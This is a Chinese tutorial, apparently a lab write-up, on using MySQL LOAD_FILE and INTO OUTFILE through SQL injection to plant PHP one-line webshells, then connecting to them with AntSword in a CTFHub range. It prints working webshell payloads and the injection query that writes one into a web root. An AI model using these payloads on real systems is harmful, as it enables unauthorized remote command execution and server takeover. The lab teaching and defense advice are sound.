Web渗透之SQL注入-文件读写-木马植入
本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
一、Mysql读写权限确认和修改
1、方式一
2、方式二
3、修改mysql文件读取权限
(1). 找到 MySQL 配置文件
(2). 在 [mysqld] 段落下添加或修改
4、重启 MySQL 服务
5、验证修改结果
二、Mysql文件读写的sql语法
1、读文件
基本sql语句:
联合查询语句:
2、写文件
基本sql语句:
联合查询语句:
三、通过sql注入写入木马
1、PHP一句话木马(WebShell)
2、典型示例
3、常见变形
4、用途(仅限合法测试)
5、防御措施
6、法律提醒
7、向系统写入一句话木马
8、验证木马是否有效
四、通过sql注入getshell
1、蚁剑的使用
(1)添加数据
(2)填写数据与测试连接
(3)添加完成点击数据,就可以进行操作了
2、进行sql注入示例
文件上传
无验证:
一、Mysql读写权限确认和修改
MySQL 的“读写权限”在数据库安全上下文中特指 MySQL 服务器能否通过 SQL 语句读取或写入数据库服务器所在主机的文件系统。这类操作主要通过LOAD_FILE()函数(读)和INTO OUTFILE/DUMPFILE子句(写)完成。
读权限:能否使用
SELECT LOAD_FILE('文件路径')读取服务器上的文本文件。写权限:能否使用
SELECT ... INTO OUTFILE '文件路径'将查询结果写入服务器文件。
这两项能力默认受到严格限制,以防止 SQL 注入漏洞被利用来读取系统敏感文件或写入 Webshell。
1、方式一
show global variables like '%secure%';
如果secure_file_priv=NULL 则表示这个mysql数据库没有文件读写权限
如果secure_file_priv=/var/lib/mysql-files/ (路径) 说明mysql在这个路径下有文件读写权限
如果secure_file_priv= (没有值),则表示mysql有任意路径下的读写权限
2、方式二
SELECT * FROM performance_schema.global_variables WHERE variable_name LIKE '%secure%';
mysql数据库版本不同global_variables在的数据库也不同,有的在information_schema里,有的在performance_schema里
3、修改mysql文件读取权限
(1). 找到 MySQL 配置文件
通常位于/etc/my.cnf。也可能是/etc/mysql/my.cnf,但 CentOS 7 默认是/etc/my.cnf。
sudo vi /etc/my.cnf
(2). 在[mysqld]段落下添加或修改
找到[mysqld]标签,在其下方添加一行(如果已有secure_file_priv行,则修改其值):
[mysqld] secure_file_priv = ''
4、重启 MySQL 服务
sudo systemctl restart mysqld
5、验证修改结果
执行成功
SHOW VARIABLES LIKE 'secure_file_priv';
二、Mysql文件读写的sql语法
1、读文件
我们先写个文本文档a.txt导入到我的虚拟机里
进行查询可以看到文件数据的大小以及类型
基本sql语句:
SELECT LOAD_FILE('/var/www/html/1vbohan/muma/a.txt');联合查询语句:
SELECT 1,2,3 UNION SELECT (SELECT LOAD_FILE('/var/www/html/1vbohan/muma/a.txt')),5,62、写文件
基本sql语句:
SELECT 'nihao' INTO OUTFILE '/var/www/html/1vbohan/muma/a.txt';
如果把nihao写入a.txt结果会报错,因为写文件,必须这个文件不存在才行
把nihao,写到b.txt,成功写入,b.txt不需要提前1建,写入的时候这个语句自动生成文件
联合查询语句:
SELECT 1,2,3 UNION SELECT 4,5,6 INTO OUTFILE '/var/www/html/1vbohan/muma/c.txt'
注意:子查询不能用,会报错
三、通过sql注入写入木马
1、PHP一句话木马(WebShell)
概念:PHP一句话木马是一种短小精悍的恶意脚本,通常只有一行代码,用于在 Web 服务器上实现远程命令执行或文件管理。攻击者通过文件上传、SQL 注入写入文件等方式将其放置到目标服务器,然后使用中国蚁剑、冰蝎、菜刀等客户端工具连接,从而获得服务器的控制权限。
作用:把字符串当成PHP程序进行解析
2、典型示例
<?php @eval($_POST['cmd']); ?>
@抑制错误输出。eval()函数将$_POST['cmd']接收到的字符串当作 PHP 代码执行。攻击者发送 HTTP POST 请求,参数
cmd=system('whoami');即可执行系统命令。
3、常见变形
<?php system($_REQUEST['cmd']); ?> <?php assert($_POST['a']); ?> <?php @eval($_GET['c']); ?>
4、用途(仅限合法测试)
在授权渗透测试中验证文件上传漏洞、RCE 漏洞的严重性。
在 CTF 或靶场中获取 flag。
5、防御措施
严格限制文件上传类型(白名单+重命名)。
设置目录权限,禁止 PHP 解析上传目录。
使用 Web 应用防火墙(WAF)拦截可疑的 POST 参数。
定期扫描 Web 目录中的可疑文件。
禁用危险函数(
eval、assert、system等),可通过disable_functions实现。
6、法律提醒
未经授权在他人服务器上放置一句话木马属于违法行为,违反《刑法》第285、286条。仅可在自己搭建的靶场或获得书面授权的环境中使用。
<?php @eval($_POST['cmd']); ?>
7、向系统写入一句话木马
注意:只能写入web服务路径下。
-- 写入一句话木马 select '<?php eval($_POST[0]);?>' into outfile 'C:/tools/phpstudy/WWW\mm.php'
写入成功
8、验证木马是否有效
当出现这个界面说明一句话木马生效
一句话木马也可以运行系统命令
四、通过sql注入getshell
1、蚁剑的使用
(1)添加数据
(2)填写数据与测试连接
(3)添加完成点击数据,就可以进行操作了
2、进行sql注入示例
一般进行注入上传木马文件
以CTFHUB文件上传漏洞这个靶场来讲解一下蚁剑的使用
文件上传
这个比较方便,直接就可以选择文件上传
先看靶场环境是php
编一个一句话木马php文件,然后下载
返回靶场上传文件
可以看到上传文件路径
把url和上传文件路径结合到一块,用蚁剑查看是否上传成功
通过目录查找在蚁剑里找到flag文件
找到flag
